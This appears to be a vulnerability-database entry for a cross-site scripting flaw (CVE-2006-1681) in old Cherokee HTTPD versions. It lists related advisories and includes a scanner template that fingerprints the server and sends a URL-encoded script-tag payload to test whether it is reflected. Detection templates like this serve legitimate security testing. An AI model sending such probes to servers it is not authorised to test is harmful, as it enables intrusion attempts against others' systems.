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Cherokee HTTPD <=0.5 - Cross-Site Scripting

🗓️ 01 Jul 2026 03:36:47Reported by ProjectDiscoveryType 
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Cherokee HTTPD XSS vuln allowing remote script injection and potential session hijackin

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ReporterTitlePublishedViews
Family
Tenable Nessus
Cherokee Web Server < 0.5.1 XSS
18 Aug 200400:00
nessus
Tenable Nessus
Web Server Generic XSS
30 Nov 200100:00
nessus
Tenable Nessus
GLSA-202012-09 : Cherokee: Multiple vulnerabilities
24 Dec 202000:00
nessus
CVE
CVE-2006-1681
10 Apr 200623:00
cve
Cvelist
CVE-2006-1681
10 Apr 200623:00
cvelist
EUVD
EUVD-2006-1682
7 Oct 202500:30
euvd
Gentoo Linux
Cherokee: Multiple vulnerabilities
23 Dec 202000:00
gentoo
NVD
CVE-2006-1681
11 Apr 200600:02
nvd
Prion
Cross site scripting
11 Apr 200600:02
prion
SUSE CVE
SUSE CVE-2006-1681
15 Feb 202306:15
susecve
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id: CVE-2006-1681

info:
  name: Cherokee HTTPD <=0.5 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cherokee HTTPD 0.5 and earlier contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Cherokee HTTPD or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - http://www.vupen.com/english/advisories/2006/1292
    - https://nvd.nist.gov/vuln/detail/CVE-2006-1681
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/25698
    - https://security.gentoo.org/glsa/202012-09
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2006-1681
    cwe-id: NVD-CWE-Other
    epss-score: 0.06643
    epss-percentile: 0.9304
    cpe: cpe:2.3:a:cherokee:cherokee_httpd:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cherokee
    product: cherokee_httpd
  tags: cve,cve2006,cherokee,httpd,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - "Cherokee"
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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